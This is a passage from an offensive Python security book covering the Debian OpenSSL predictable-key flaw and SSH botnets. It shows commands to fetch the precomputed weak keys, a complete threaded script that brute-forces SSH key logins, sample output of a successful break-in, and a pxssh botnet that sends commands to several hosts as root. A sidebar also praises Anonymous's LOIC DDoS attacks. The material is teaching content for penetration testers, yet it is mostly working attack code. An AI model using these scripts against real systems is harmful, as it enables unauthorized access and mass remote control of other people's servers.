Authors: TJ O'Connor
Passwords provide a method of authenticating to an SSH server but this is not the only one. Additionally, SSH provides the means to authenticate using public key cryptography. In this scenario, the server knows the public key and the user knows the private key. Using either RSA or DSA algorithms, the server produces these keys for logging into SSH. Typically, this provides an excellent method for authentication. With the ability to generate 1024-bit, 2048-bit, or
4096-bit keys, this authentication process makes it difficult to use brute force as we did with weak passwords.
However, in 2006 something interesting happened with the Debian Linux Distribution. A developer commented on a line of code found by an automated software analysis toolkit. The particular line of code ensured entropy in the creation of SSH keys. By commenting on the particular line of code, the size of the searchable key space dropped to 15-bits of entropy (
Ahmad, 2008
). Without only 15-bits of entropy, this meant only 32,767 keys existed for each algorithm and size. HD Moore, CSO and Chief Architect at Rapid7, generated all of the 1024-bit and 2048 bit keys in under two hours (
Moore, 2008
). Moreover, he made them available for download at:
http://digitaloffense.net/tools/debian-openssl/
. You can download the 1024-bit keys to begin. After downloading and extracting the keys, go ahead and delete the public keys, since we will only need the private keys to test our connection.
attacker# wget
http://digitaloffense.net/tools/debian-openssl/debian_ssh_dsa_1024_x86.tar.bz2
--2012-06-30 22:06:32--
http://digitaloffense.net/tools/debian-openssl/debian_ssh_dsa_1024_x86.tar.bz2
Resolving digitaloffense.net... 184.154.42.196, 2001:470:1f10:200::2
Connecting to digitaloffense.net|184.154.42.196|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 30493326 (29M) [application/x-bzip2]
Saving to: ‘debian_ssh_dsa_1024_x86.tar.bz2’
100%[=====================================================================================================>] 30,493,326 496K/s in 74s
2012-06-30 22:07:47 (400 KB/s) - ‘debian_ssh_dsa_1024_x86.tar.bz2’ saved [30493326/30493326]
attacker# bunzip2 debian_ssh_dsa_1024_x86.tar.bz2
attacker# tar -xf debian_ssh_dsa_1024_x86.tar
attacker# cd dsa/1024/
attacker# ls
00005b35764e0b2401a9dcbca5b6b6b5-1390
00005b35764e0b2401a9dcbca5b6b6b5-1390.pub
00058ed68259e603986db2af4eca3d59-30286
00058ed68259e603986db2af4eca3d59-30286.pub
0008b2c4246b6d4acfd0b0778b76c353-29645
0008b2c4246b6d4acfd0b0778b76c353-29645.pub
000b168ba54c7c9c6523a22d9ebcad6f-18228
000b168ba54c7c9c6523a22d9ebcad6f-18228.pub
000b69f08565ae3ec30febde740ddeb7-6849
000b69f08565ae3ec30febde740ddeb7-6849.pub
000e2b9787661464fdccc6f1f4dba436-11263
000e2b9787661464fdccc6f1f4dba436-11263.pub
<..SNIPPED..>
attacker# rm -rf dsa/1024/∗.pub
This mistake lasted for 2 years before it was discovered by a security researcher. As a result, it is accurate to state that quite a few servers were built with a weakened SSH service. It would be nice if we could build a tool to exploit this vulnerability. However, with access to the key space, it is possible to write a small Python script to brute force through each of the 32,767 keys in order to authenticate to a passwordless SSH server that relies upon a public-key cryptograph. In fact, the Warcat Team wrote such a script and posted it to milw0rm within days of the vulnerability discovery. Exploit-DB archived the Warcat Team script at:
http://www.exploit-db.com/exploits/5720/
. However, lets write our own script utilizing the same pexpect library we used to brute force through password authentication.
The script to test weak keys proves nearly very similar to our brute force password authentication. To authenticate to SSH with a key, we need to type
ssh user@host –i keyfile –o PasswordAuthentication=no
. For the following script, we loop through the set of generated keys and attempt a connection. If the connection succeeds, we print the name of the keyfile to the screen. Additionally, we will use two global variables Stop and Fails. Fails will keep count of the number of failed connection we have had due to the remote host closing the connection. If this number is greater than 5, we will terminate our script. If our scan has triggered a remote IPS that prevents our connection, there is no sense continuing. Our Stop global variable is a Boolean that lets us known that we have a found a key and the main() function does not need to start any new connection threads.
import pexpect
import optparse
import os
from threading import ∗
maxConnections = 5
connection_lock = BoundedSemaphore(value=maxConnections)
Stop = False
Fails = 0
def connect(user, host, keyfile, release):
global Stop
global Fails
try:
perm_denied = ‘Permission denied’
ssh_newkey = ‘Are you sure you want to continue’
conn_closed = ‘Connection closed by remote host’
opt = ‘ -o PasswordAuthentication=no’
connStr = ‘ssh ’ + user +\
‘@’ + host + ‘ -i ’ + keyfile + opt
child = pexpect.spawn(connStr)
ret = child.expect([pexpect.TIMEOUT, perm_denied, \
ssh_newkey, conn_closed, ‘$’, ‘#’, ])
if ret == 2:
print ‘[-] Adding Host to ∼/.ssh/known_hosts’
child.sendline(‘yes’)
connect(user, host, keyfile, False)
elif ret == 3:
print ‘[-] Connection Closed By Remote Host’
Fails += 1
elif ret > 3:
print ‘[+] Success. ’ + str(keyfile)
Stop = True
finally:
if release:
connection_lock.release()
def main():
parser = optparse.OptionParser(‘usage%prog -H ’+\
‘
parser.add_option(‘-H’, dest=‘tgtHost’, type=‘string’, \
help=‘specify target host’)
parser.add_option(‘-d’, dest=‘passDir’, type=‘string’, \
help=‘specify directory with keys’)
parser.add_option(‘-u’, dest=‘user’, type=‘string’, \
help=‘specify the user’)
(options, args) = parser.parse_args()
host = options.tgtHost
passDir = options.passDir
user = options.user
if host == None or passDir == None or user == None:
print parser.usage
exit(0)
for filename in os.listdir(passDir):
if Stop:
print ‘[∗] Exiting: Key Found.’
exit(0)
if Fails > 5:
print ‘[!] Exiting: ’+\
‘Too Many Connections Closed By Remote Host.’
print ‘[!] Adjust number of simultaneous threads.’
exit(0)
connection_lock.acquire()
fullpath = os.path.join(passDir, filename)
print ‘[-] Testing keyfile ’ + str(fullpath)
t = Thread(target=connect, \
args=(user, host, fullpath, True))
child = t.start()
if __name__ == ‘__main__’:
main()
Testing this against a target, we see that we can gain access to a vulnerable system. If the 1024-bit keys do not work, try downloading the 2048 keys as well and using them.
attacker# python bruteKey.py -H 10.10.13.37 -u root -d dsa/1024
[-] Testing keyfile tmp/002cc1e7910d61712c1aa07d4a609e7d-16764
[-] Testing keyfile tmp/003d39d173e0ea7ffa7cbcdd9c684375-31965
[-] Testing keyfile tmp/003e7c5039c07257052051962c6b77a0-9911
[-] Testing keyfile tmp/002ee4b916d80ccc7002938e1ecee19e-7997
[-] Testing keyfile tmp/00360c749f33ebbf5a05defe803d816a-31361
<..SNIPPED..>
[-] Testing keyfile tmp/002dcb29411aac8087bcfde2b6d2d176-27637
[-] Testing keyfile tmp/002a7ec8d678e30ac9961bb7c14eb4e4-27909
[-] Testing keyfile tmp/002401393933ce284398af5b97d42fb5-6059
[-] Testing keyfile tmp/003e792d192912b4504c61ae7f3feb6f-30448
[-] Testing keyfile tmp/003add04ad7a6de6cb1ac3608a7cc587-29168
[+] Success. tmp/002dcb29411aac8087bcfde2b6d2d176-27637
[-] Testing keyfile tmp/003796063673f0b7feac213b265753ea-13516
[∗] Exiting: Key Found.
Now that we have demonstrated we can control a host via SSH, let us expand it to control multiple hosts simultaneously. Attackers often use collections of compromised computers for malicious purposes. We call this a botnet because the compromised computers act like bots to carry out instructions.
From The Trenches
A Voluntary Botnet
The hacker group, Anonymous, routinely employs the use of a voluntary botnet against their adversaries. In this capacity, the hacker group asks its members to download a tool known as Low Orbit Ion Cannon (LOIC). As a collective, the members of Anonymous launch a distributed botnet attack against sites they deem adversaries. While arguably illegal, the acts of the Anonymous group have had some notable and morally victorious successes. In a recent operation, Operation #Darknet, Anonymous used its voluntary botnet to overwhelm the hosting resources of a site dedicated to distributing child pornography.
In order to construct our botnet, we will have to introduce a new concept—a class. The concept of
a class
serves as the basis for a programming model named, object oriented programming. In this system, we instantiate individual objects with associated methods. For our botnet, each individual bot or client will require the ability to connect, and issue a command.
import optparse
import pxssh
class Client:
def __init__(self, host, user, password):
self.host = host
self.user = user
self.password = password
self.session = self.connect()
def connect(self):
try:
s = pxssh.pxssh()
s.login(self.host, self.user, self.password)
return s
except Exception, e:
print e
print ‘[-] Error Connecting’
def send_command(self, cmd):
self.session.sendline(cmd)
self.session.prompt()
return self.session.before
Examine the code to produce the class object Client(). To build the client requires the hostname, username, and password or key. Furthermore, the class contains the methods required to sustain a client—connect(), send_command(), alive(). Notice that when we reference a variable belonging to a class, we call it self-followed by the variable name. To construct the botnet, we build a global array named botnet and this array contains the individual client objects. Next, we build a function named addClient() that takes a host, user,
and password as input to instantiates a client object and add it to the botnet array. Next, the botnetCommand() function takes an argument of a command. This function iterates through the entire array and sends the command to each client in the botnet array.
import optparse
import pxssh
class Client:
def __init__(self, host, user, password):
self.host = host
self.user = user
self.password = password
self.session = self.connect()
def connect(self):
try:
s = pxssh.pxssh()
s.login(self.host, self.user, self.password)
return s
except Exception, e:
print e
print ‘[-] Error Connecting’
def send_command(self, cmd):
self.session.sendline(cmd)
self.session.prompt()
return self.session.before
def botnetCommand(command):
for client in botNet:
output = client.send_command(command)
print ‘[∗] Output from ’ + client.host
print ‘[+] ’ + output + ‘\n’
def addClient(host, user, password):
client = Client(host, user, password)
botNet.append(client)
botNet = []
addClient(‘10.10.10.110’, ‘root’, ‘toor’)
addClient(‘10.10.10.120’, ‘root’, ‘toor’)
addClient(‘10.10.10.130’, ‘root’, ‘toor’)
botnetCommand(‘uname -v’)
botnetCommand(‘cat /etc/issue’)
By wrapping everything up, we have our final SSH botnet script. This proves an excellent method for mass controlling targets. To test, we make three copies of our current Backtrack 5 virtual machine and assign. We see we can the script iterate through these three hosts and issue simultaneous commands to each of the victims. While the SSH Botnet creation script attacked servers directly, the next section will focus on an indirect attack vector to target clients through vulnerable servers and an alternate approach to building a mass infection.
attacker:∼# python botNet.py
[∗] Output from 10.10.10.110
[+] uname -v
#1 SMP Fri Feb 17 10:34:20 EST 2012
[∗] Output from 10.10.10.120
[+] uname -v
#1 SMP Fri Feb 17 10:34:20 EST 2012
[∗] Output from 10.10.10.130
[+] uname -v
#1 SMP Fri Feb 17 10:34:20 EST 2012
[∗] Output from 10.10.10.110
[+] cat /etc/issue
BackTrack 5 R2 - Code Name Revolution 64 bit \n \l
[∗] Output from 10.10.10.120
[+] cat /etc/issue
BackTrack 5 R2 - Code Name Revolution 64 bit \n \l
[∗] Output from 10.10.10.130
[+] cat /etc/issue
BackTrack 5 R2 - Code Name Revolution 64 bit \n \l